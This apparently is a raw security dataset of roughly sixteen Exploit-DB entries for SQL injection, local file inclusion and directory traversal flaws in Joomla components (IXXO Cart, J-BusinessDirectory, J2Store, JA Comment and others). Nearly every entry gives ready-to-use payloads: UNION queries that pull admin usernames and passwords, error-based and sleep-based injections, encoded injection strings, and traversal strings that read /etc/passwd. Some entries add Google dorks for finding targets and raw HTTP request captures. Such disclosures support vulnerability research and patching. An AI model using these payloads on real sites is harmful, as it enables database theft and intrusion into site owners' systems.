deardaniel/secdata-raw huggingface dataset:
Exploit-DB #14291
Description: Joomla! Component IXXO Cart - SQL Injection
Type: webapps
Platform: php
Date: 2010-07-09
Author: Sid3^effects

Exploit:
1               ##########################################             1
0               I'm Sid3^effects member from Inj3ct0r Team             1
1               ##########################################             0
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1

Name :   IXXO Cart for Joomla SQLi Vulnerability
Date : july 9,2010
Critical Level 	: HIGH
vendor URL :http://www.php-shop-system.com/
Author : Sid3^effects aKa HaRi 
special thanks to : r0073r (inj3ct0r.com),L0rd CruSad3r,MaYur,MA1201,KeDar,Sonic,gunslinger_
greetz to :www.topsecure.net ,All ICW members and my friends :) luv y0 guyz 
#######################################################################################################
Description 
IXXO Cart is an extremely powerful php shopping cart and web site builder application. Designed from a marketing perspective, this ecommerce application is feature-packed, robust, scalable and easy to use. IXXO Cart Plus is the clear choice for serious merchants focused on rapidly and cost effectively deploying, managing and growing a successful web-based business.
New users appreciate the easy-to-use tools designed to help set up their store quickly and effectively while experienced users love the ability to customize and manage our software to meet the needs of their growing business.
#######################################################################################################
Xploit: SQli Vulnerability


Demo url : http://site.com/ixxo-cart-plus-demo/index.php?p=catalog&parent=[SQLI]

#######################################################################################################
# 0day no more 
# Sid3^effects
Exploit-DB #9276
Description: Joomla! Component IXXO Cart! Standalone and - SQL Injection
Type: webapps
Platform: php
Date: 2009-07-27
Author: sm0k3

Exploit:
Original advisory at:
http://www.davidsopas.com/2009/07/25/ixxo-cart-standalone-and-joomla-component-sql-injection/

Ref. [DSF-03-2009] â€“ IXXO Cart! Standalone and Joomla Component SQL Injection
Vendor: IXXO Internet Solutions
Status: Patched by vendor

IXXO Cart!
IXXO Cart is an extremely powerful php shopping cart and web site
builder application. Designed from a marketing perspective, this
ecommerce application is feature-packed, robust, scalable and easy to
use. IXXO Cart Plus is the clear choice for serious merchants focused
on rapidly and cost effectively deploying, managing and growing a
successful web-based business.
New users appreciate the easy-to-use tools designed to help set up
their store quickly and effectively while experienced users love the
ability to customize and manage our software to meet the needs of
their growing business.

Description
This very known PHP store is vulnerable to SQL Injection on â€œparentâ€ variable.
Injecting a specific combination of SQL commands will execute the new
SQL query and even provide sensitive database information that could
help a malicious user to complete and enter a valid SQL injection
query.

Proof of concept
parent=1%27)%20order%20by%203/*

Impact
A malicious user could manipulate SQL queries by injecting arbitrary
SQL code and return private information.

Time-line
June 2, 2009 â€“ First contact by contact form
June 17, 2009 â€“ Second contact by email
June 17, 2009 â€“ Reply from vendor
June 18, 2009 â€“ Vendor reported that only standalone version and
Joomla 1.0.x component are vulnerable
June 24, 2009 â€“ Vendor asked for more time to patch and warn their
clients about this vulnerability
June 25, 2009 â€“ Vendor released 3.9.6.1 and and updated demo versions
on their site
July 20, 2009 â€“ Third contact to check the status
July 25, 2009 â€“ Advisory goes public

Disclosed
Not yet published in any database

# milw0rm.com [2009-07-27]
Exploit-DB #12083
Description: Joomla! Component J!WHMCS Integrator 1.5.0 - Local File Inclusion
Type: webapps
Platform: php
Date: 2010-04-06
Author: AntiSecurity

Exploit:
============================================================================================================


  [o] Joomla Component J!WHMCS Integrator Local File Inclusion Vulnerability

       Software : com_jwhmcs version 1.5.0
       Vendor   : https://client.gohigheris.com/
       Author   : AntiSecurity [ NoGe Vrs-hCk OoN_BoY Paman zxvf s4va ]
       Contact  : public[dot]antisecurity[dot]org
       Home     : http://antisecurity.org/


============================================================================================================


  [o] Exploit

       http://localhost/[path]/index.php?option=com_jwhmcs&controller=[LFI]


  [o] PoC

       http://localhost/index.php?option=com_jwhmcs&controller=../../../../../../../../../../etc/passwd%00


============================================================================================================


  [o] Greetz

       Angela Zhang stardustmemory aJe martfella pizzyroot Genex
       H312Y yooogy mousekill }^-^{ noname matthews s4va wishnusakti
       skulmatic OLiBekaS ulga Cungkee k1tk4t str0ke


============================================================================================================


  [o] April 06 2010 - GMT +07:00 Jakarta, Indonesia
Exploit-DB #41411
Description: Joomla! Component J-BusinessDirectory 4.6.8 - SQL Injection
Type: webapps
Platform: php
Date: 2017-02-21
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: Joomla! Component J-BusinessDirectory v4.6.8 - SQL Injection
# Google Dork: inurl:index.php?option=com_jbusinessdirectory
# Date: 21.02.2017
# Vendor Homepage:  http://www.cmsjunkie.com/
# Software Buy: http://www.cmsjunkie.com/ajax/index/options/product_id/73/
# Demo: http://demo.cmsjunkie.com/j-businessdirectory/
# Version: 4.6.8
# Tested on: Win7 x64, Kali Linux x64
# # # # # 
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[@]ihsan[.]net
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/index.php?option=com_jbusinessdirectory&view=companies&companyId=[SQL]
# http://localhost/[PATH]/index.php?option=com_jbusinessdirectory&view=search&searchkeyword=1&categoryId=[SQL]
# Etc...
# # # # #
Exploit-DB #46230
Description: Joomla! Component J-BusinessDirectory 4.9.7 - 'type' SQL Injection
Type: webapps
Platform: php
Date: 2019-01-23
Author: Ihsan Sencan

Exploit:
# Exploit Title: Joomla! Component J-BusinessDirectory 4.9.7 - SQL Injection
# Dork: N/A
# Date: 2019-01-23
# Exploit Author: Ihsan Sencan
# Vendor Homepage: http://cmsjunkie.com/
# Software Link: https://extensions.joomla.org/extensions/extension/directory-a-documentation/directory/j-businessdirectory/
# Version: 4.9.7
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A

# POC: 
# 1)
# http://localhost/[PATH]/index.php?option=com_jbusinessdirectory&task=categories.getCategories&type=[SQL]&term=a
# 

GET /[PATH]/index.php?option=com_jbusinessdirectory&task=categories.getCategories&type=1%20union%20select%20(SELECT+GROUP_CONCAT(schema_name+SEPARATOR+0x3c62723e)+FROM+INFORMATION_SCHEMA.SCHEMATA),2--%20-&term=a HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: __cfduid=d35dbe4de0d461bf69a9165df0f[PII_REDACTED]240991; 79a1b3ae870a3fab009030106c9fb887=eeab77f1b87057d5ad12b61071048ad6; PHPSESSID=c1088ee33a3f4770dd333f9605b9e44f; 704a7cf3f453ec2db97de2f28ef169f8=fb9a121113ff0e6cc6da546a82f2452e
DNT: 1
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
HTTP/1.1 200 OK
Date: Wed, 23 Jan 2019 15:45:13 GMT
Content-Type: application/json
Transfer-Encoding: chunked
Connection: keep-alive
Cache-Control: max-age=172800
Expires: Fri, 25 Jan 2019 15:45:13 GMT
Alt-Svc: h2=":443"; ma=60
Server: cloudflare
CF-RAY: 49da034bc2faba72-ATL
Exploit-DB #46231
Description: Joomla! Component J-ClassifiedsManager 3.0.5 - SQL Injection
Type: webapps
Platform: php
Date: 2019-01-23
Author: Ihsan Sencan

Exploit:
# Exploit Title: Joomla! Component J-ClassifiedsManager 3.0.5 - SQL Injection
# Dork: N/A
# Date: 2019-01-23
# Exploit Author: Ihsan Sencan
# Vendor Homepage: http://cmsjunkie.com/
# Software Link: https://extensions.joomla.org/extensions/extension/ads-a-affiliates/classified-ads/j-classifiedsmanager/
# Version: 3.0.5
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A

# POC: 
# 1)
# http://localhost/[PATH]/component/jclassifiedsmanager/
# 

&categorySearch=[SQL]
&adType=[SQL]
&citySearch=[SQL]

POST /[PATH]/component/jclassifiedsmanager/ HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 779
Cookie: __cfduid=d35dbe4de0d461bf69a9165df0f[PII_REDACTED]240991; 79a1b3ae870a3fab009030106c9fb887=eeab77f1b87057d5ad12b61071048ad6
DNT: 1
Connection: keep-alive
Upgrade-Insecure-Requests: 1
searchKeyword=&categorySearch=&adType=&citySearch=1'%7c%7c%28%53%45%4c%45%43%54%20%27%45%66%65%27%20%46%52%4f%4d%20%44%55%41%4c%20%57%48%45%52%45 2%3d%32%20%41%4e%44%20%28%53%45%4c%45%43%54%20%32%20%46%52%4f%4d%28%53%45%4c%45%43%54%20%43%4f%55%4e%54%28%2a%29%2c%43%4f%4e%43%41%54%28%43%4f%4e%43%41%54%5f%57%53%28%30%78%32%30%33%61%32%30%2c%55%53%45%52%28%29%2c%44%41%54%41%42%41%53%45%28%29,%56%45%52%53%49%4f%4e%28%29%29%2c%28%53%45%4c%45%43%54%20%28%45%4c%54%28%32%3d%32%2c%31%29%29%29%2c%46%4c%4f%4f%52%28%52%41%4e%44%28%30%29%2a%32%29%29%78%20%46%52%4f%4d%20%49%4e%46%4f%52%4d%41%54%49%4f%4e%5f%53%43%48%45%4d%41%2e%50%4c%55%47%49%4e%53%20%47%52%4f%55%50%20%42%59%20%78%29%61%29%29%7c%7c%27&option=com_jclassifiedsmanager&controller=displayads&task=searchAds&view=displayads: undefined
HTTP/1.1 500 Internal Server Error
Date: Wed, 23 Jan 2019 15:06:56 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM"
Cache-Control: no-cache
Pragma: no-cache
Alt-Svc: h2=":443"; ma=60
Server: cloudflare
CF-RAY: 49d9cb37b64998d7-LAX
Exploit-DB #46233
Description: Joomla! Component J-CruisePortal 6.0.4 - SQL Injection
Type: webapps
Platform: php
Date: 2019-01-24
Author: Ihsan Sencan

Exploit:
# Exploit Title: Joomla! Component J-CruisePortal 6.0.4 - SQL Injection
# Dork: N/A
# Date: 2019-01-23
# Exploit Author: Ihsan Sencan
# Vendor Homepage: http://cmsjunkie.com/
# Software Link: https://www.cmsjunkie.com/joomla-cruise-reservation-portal
# Version: 6.0.7
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A

# POC: 
# 1)
# http://localhost/[PATH]/cruises
# 

POST /[PATH]/cruises/cruises HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 518
Cookie: __cfduid=d35dbe4de0d461bf69a9165df0f[PII_REDACTED]240991; 79a1b3ae870a3fab009030106c9fb887=eeab77f1b87057d5ad12b61071048ad6; PHPSESSID=c1088ee33a3f4770dd333f9605b9e44f; 704a7cf3f453ec2db97de2f28ef169f8=fb9a121113ff0e6cc6da546a82f2452e; 398e9ff8e95a4e22822ceef0b6c44a4a=a94f101ca5d3b159ceea66309ea3a951; joomla_user_state=logged_in; 886feb4c8becc9e8152c352c36facdb9=0a4cabcc031321270d6811b7ab5222b0
DNT: 1
Connection: keep-alive
Upgrade-Insecure-Requests: 1
controller=search&task=searchCruises&year_start=2019&month_start=01&day_start=23&year_end=2019&month_end=01&cruise_id=&day_end=24&rooms=1&guest_adult=2%20%20%2f%2a%21%31%31%31%31%31%61%6e%44%2a%2f%20%73%6c%65%65%70%28%35%29&guest_child=0&filterParams=&resetSearch=1&searchType=&searchId=&room-guests%5B%5D=2&room-guests-children%5B%5D=0&keyword=&jcruisereservation_datas=01%2F23%2F2019&jcruisereservation_datae=01%2F24%2F2019&jcruisereservation_rooms=1&jcruisereservation_guest_adult=2&jcruisereservation_guest_child=0: undefined
HTTP/1.1 200 OK
Date: Wed, 23 Jan 2019 16:42:13 GMT
Content-Type: text/html; charset=utf-8
Transfer-Encoding: chunked
Connection: keep-alive
P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM"
Expires: Wed, 17 Aug 2005 00:00:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Last-Modified: Wed, 23 Jan 2019 16:42:13 GMT
Alt-Svc: h2=":443"; ma=60
Server: cloudflare
CF-RAY: 49dbb4e4622dc7e8-DFW
Exploit-DB #41406
Description: Joomla! Component J-CruiseReservation Standard 3.0 - 'city' SQL Injection
Type: webapps
Platform: php
Date: 2017-02-21
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: Joomla! Component J-CruiseReservation Standard v3.0 - SQL Injection
# Google Dork: inurl:index.php?option=com_jcruisereservation
# Date: 21.02.2017
# Vendor Homepage:  http://www.cmsjunkie.com/
# Software Buy: http://www.cmsjunkie.com/ajax/index/options/product_id/58/
# Demo: http://demo.cmsjunkie.com/cruise/
# Version: 3.0
# Tested on: Win7 x64, Kali Linux x64
# # # # # 
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[@]ihsan[.]net
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/cruises/cruises?city=[SQL]
# Etc...
# # # # #
Exploit-DB #41405
Description: Joomla! Component J-HotelPortal 6.0.2 - 'review_id' SQL Injection
Type: webapps
Platform: php
Date: 2017-02-21
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: Joomla! Component J-HotelPortal v6.0.2 - SQL Injection
# Google Dork: inurl:index.php?option=com_jhotelreservation
# Date: 21.02.2017
# Vendor Homepage:  http://www.cmsjunkie.com/
# Software Buy: http://www.cmsjunkie.com/joomla-hotel-portal
# Demo: http://hoteldemo.cmsjunkie.com/j3/portal/
# Version: 6.0.2
# Tested on: Win7 x64, Kali Linux x64
# # # # # 
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[@]ihsan[.]net
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/index.php?option=com_jhotelreservation&tmpl=component&task=hotelratings.printRating&view=hotelratings&review_id=[SQL]
# Etc...
# # # # #
Exploit-DB #41408
Description: Joomla! Component J-MultipleHotelReservation Standard 6.0.2 - 'review_id' SQL Injection
Type: webapps
Platform: php
Date: 2017-02-21
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: Joomla! Component J-MultipleHotelReservation Standard v6.0.2 - SQL Injection
# Google Dork: inurl:index.php?option=com_jcruisereservation
# Date: 21.02.2017
# Vendor Homepage:  http://www.cmsjunkie.com/
# Software Buy: http://www.cmsjunkie.com/joomla_multi_hotel_reservation_standard
# Demo: http://hoteldemo.cmsjunkie.com/j3/multiple_standard/
# Version: 6.0.2
# Tested on: Win7 x64, Kali Linux x64
# # # # # 
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[@]ihsan[.]net
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/index.php?option=com_jhotelreservation&tmpl=component&task=hotelratings.printRating&view=hotelratings&review_id=[SQL]
# Etc...
# # # # #
Exploit-DB #46467
Description: Joomla! Component J2Store < 3.3.7 - SQL Injection
Type: webapps
Platform: php
Date: 2019-02-28
Author: Andrei Conache

Exploit:
# Exploit Title: J2Store Plugin for Joomla! < 3.3.6 - SQL Injection
# Date: 19/02/2019
# Author: Andrei Conache
# Twitter: @andrei_conache
# Contact: andrei.conache[at]protonmail.com
# Software Link: https://www.j2store.org
# Version: 3.x-3.3.6
# Tested on: Linux
# CVE: CVE-2019-9184


1. Description:
J2Store is the most popular shopping/e-commerce extension for Joomla!. The SQL Injection found allows any visitor to run arbitrary queries
on the website.
 

2. Proof of Concept:

- Parameter vulnerable: "product_option[j]" array (where j depends on entries)
- Example: [URL]/index.php?option=com_j2store&view=product&task=update&product_option[j]=%27%22%3E2&product_qty=1&product_id=XX&option=com_j2store&ajax=0&_=XXXXXXXXXX
- sqlmap: product_option[j]=%28CASE%20WHEN%20%284862%3D4862%29%20THEN%204862%20ELSE%204862%2A%28SELECT%204862%20FROM%20DUAL%20UNION%20SELECT%205348%20FROM%20DUAL%29%20END%29


3. Solution:
Update to 3.3.7
Exploit-DB #12236
Description: Joomla! Component JA Comment - Local File Inclusion
Type: webapps
Platform: php
Date: 2010-04-14
Author: AntiSecurity

Exploit:
=========================================================================================================


  [o] Joomla Component JA Comment Local File Inclusion Vulnerability
 
       Software : com_jacomment
       Vendor   : http://www.joomlart.com/
       Author   : AntiSecurity [ NoGe Vrs-hCk OoN_BoY Paman zxvf s4va ]
       Contact  : public[at]antisecurity[dot]org
       Home     : http://antisecurity.org/


=========================================================================================================


  [o] Exploit

       http://localhost/[path]/index.php?option=com_jacomment&view=[LFI]


  [o] PoC

       http://localhost/index.php?option=com_jacomment&view=../../../../../../../../../../etc/passwd%00


=========================================================================================================


  [o] Greetz

       Angela Zhang stardustmemory aJe martfella pizzyroot Genex
       H312Y yooogy mousekill }^-^{ noname matthews wishnusakti
       skulmatic OLiBekaS ulga Cungkee k1tk4t str0ke kaka11


=========================================================================================================


  [o] April 14 2010 - GMT +07:00 Jakarta, Indonesia
Exploit-DB #37090
Description: Joomla! Component JA T3 Framework - Directory Traversal
Type: webapps
Platform: php
Date: 2012-04-17
Author: indoushka

Exploit:
source: https://www.securityfocus.com/bid/53039/info

The JA T3 Framework component for Joomla! is prone to a directory-traversal vulnerability because it fails to sufficiently sanitize user-supplied input data.

Exploiting the issue may allow an attacker to obtain sensitive information that could aid in further attacks. 

http://www.example.com/jojo/index.php?file=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd&jat3action=gzip&type=css&v=1
Exploit-DB #12121
Description: Joomla! Component JA Voice 2.0 - Local File Inclusion
Type: webapps
Platform: php
Date: 2010-04-09
Author: kaMtiEz

Exploit:
[!]===========================================================================[!]

[~] Joomla Component JA Voice LFI vulnerability 
[~] Author	: kaMtiEz (kamzcrew@yahoo.com)
[~] Homepage	: http://www.indonesiancoder.com
[~] Date	: 9 april, 2010

[!]===========================================================================[!]

[ Software Information ]

[+] Vendor : http://www.joomlart.com/
[+] Price : free
[+] Vulnerability : LFI
[+] Dork : inurl:"CIHUY" ;)
[+] Download : http://www.joomlart.com/forums/downloads.php?do=file&id=533


[!]===========================================================================[!]

[ Vulnerable File ]

http://127.0.0.1/index.php?option=com_javoice&view=[INDONESIANCODER]

[ XpL ]

../../../../../../../../../../../../../../../etc/passwd%00


etc etc etc ;]

[!]===========================================================================[!]

[ Thx TO ]

[+] INDONESIAN CODER TEAM MainHack ServerIsDown SurabayaHackerLink IndonesianHacker MC-CREW
[+] tukulesto,M3NW5,arianom,N4CK0,Jundab,d0ntcry,bobyhikaru,gonzhack,senot
[+] Contrex,YadoY666,yasea,bugs,Ronz,Pathloader,cimpli,MarahMerah.IBL13Z,r3m1ck
[+] Coracore,Gh4mb4s,Jack-,VycOd,m0rgue,otong,CS-31,yur4kh4,


[ NOTE ] 

[+] WE ARE ONE UNITY, WE ARE A CODER FAMILY, AND WE ARE INDONESIAN CODER TEAM 
[+] Jika kami bersama Nyalakan Tanda Bahaya ;)
[+] Ayy : lup u :">
[+] CS-31 : thanks for coming in my t0wn :D

[ QUOTE ]

[+] INDONESIANCODER still r0x
[+] nothing secure ..
Exploit-DB #5963
Description: Joomla! Component jabode - 'id' SQL Injection
Type: webapps
Platform: php
Date: 2008-06-28
Author: His0k4

Exploit:
/---------------------------------------------------------------\
\                                				/
/       Joomla Component jabode Remote SQL injection            \
\                                				/
\---------------------------------------------------------------/


[*] Author    :  His0k4 [ALGERIAN HaCkEr]

[*] Dork      :  inurl:com_jabode

[*] POC        : http://localhost/[Joomla_Path]/index.php?option=com_jabode&task=sign&sign=taurus&id={SQL}

[*] Example    : http://localhost/[Joomla_Path]/index.php?option=com_jabode&task=sign&sign=taurus&id=-2 UNION SELECT user(),user(),user(),user(),concat(username,0x3a,password) FROM jos_users--

[*] Funny note:  You can change "taurus" to your sign for best results xd...

                
----------------------------------------------------------------------------
[*] Greetings :  All friends & muslims HaCkeRs...
[*] Greetings2:  http://www.dz-secure.com
                 http://palcastle.org/cc

# milw0rm.com [2008-06-28]
Exploit-DB #44115
Description: Joomla! Component JB Bus 2.3 - 'order_number' SQL Injection
Type: webapps
Platform: php
Date: 2018-02-16
Author: Ihsan Sencan

Exploit:
# # # #
# Exploit Title: Joomla! Component JB Bus 2.3 - SQL Injection
# Dork: N/A
# Date: 16.02.2018
# Vendor Homepage: http://joombooking.com/
# Software Link: https://extensions.joomla.org/extensions/extension/vertical-markets/booking-a-reservations/jbtransport/
# Version: 2.3
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: CVE-2018-6372
# # # #
# Exploit Author: Ihsan Sencan 
# # # # 
# 
# POC:
# 
# 1)
# http://localhost/[PATH]/index.php?option=com_bookpro&view=orderdetail&order_number=[SQL]
#  
# JTMwJTMwJTMwJTM0JTM1JTMyJTIwJTJmJTJhJTIxJTM1JTMwJTMwJTMwJTMwJTUwJTcyJTZmJTYzJTY1JTY0JTc1JTcyJTY1JTJhJTJmJTIwJTJmJTJhJTIxJTM1JTMwJTMwJTMwJTMwJTQxJTZlJTYxJTZjJTc5JTczJTY1JTJhJTJmJTIwJTI4JTY1JTc4JTc0JTcyJTYxJTYzJTc0JTc2JTYxJTZjJTc1JTY1JTI4JTMwJTJjJTJmJTJhJTIxJTM1JTMwJTMwJTMwJTMwJTYzJTZmJTZlJTYzJTYxJTc0JTJhJTJmJTI4JTMwJTc4JTMyJTM3JTJjJTMwJTc4JTMzJTYxJTJjJTQwJTQwJTc2JTY1JTcyJTczJTY5JTZmJTZlJTI5JTI5JTJjJTMwJTI5JTJkJTJkJTIwJTJk
#  
# # # #
Exploit-DB #43350
Description: Joomla! Component JB Visa 1.0 - 'visatype' SQL Injection
Type: webapps
Platform: php
Date: 2017-12-18
Author: Ihsan Sencan

Exploit:
# # # # #
# Exploit Title: Joomla! Component JB Visa 1.0 - SQL Injection
# Dork: N/A
# Date: 17.12.2017
# Vendor Homepage: http://joombooking.com/
# Software Link: https://extensions.joomla.org/extensions/extension/vertical-markets/booking-a-reservations/jb-visa/
# Version: 1.0
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
# 
# Proof of Concept: 
# 
# 1)
# http://localhost/[PATH]/index.php?option=com_bookpro&view=popup&visatype=[SQL]
#  
# 259999%20AND(SELECT%201%20FROM%20(SELECT%20COUNT(*)%2cCONCAT((SELECT(SELECT%20CONCAT(CAST(DATABASE()%20AS%20CHAR)%2c0x7e%2c0x496873616e53656e63616e))%20FROM%20INFORMATION_SCHEMA.TABLES%20WHERE%20table_schema=DATABASE()%20LIMIT%200%2c1)%2cFLOOR(RAND(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)
# 
# # # # #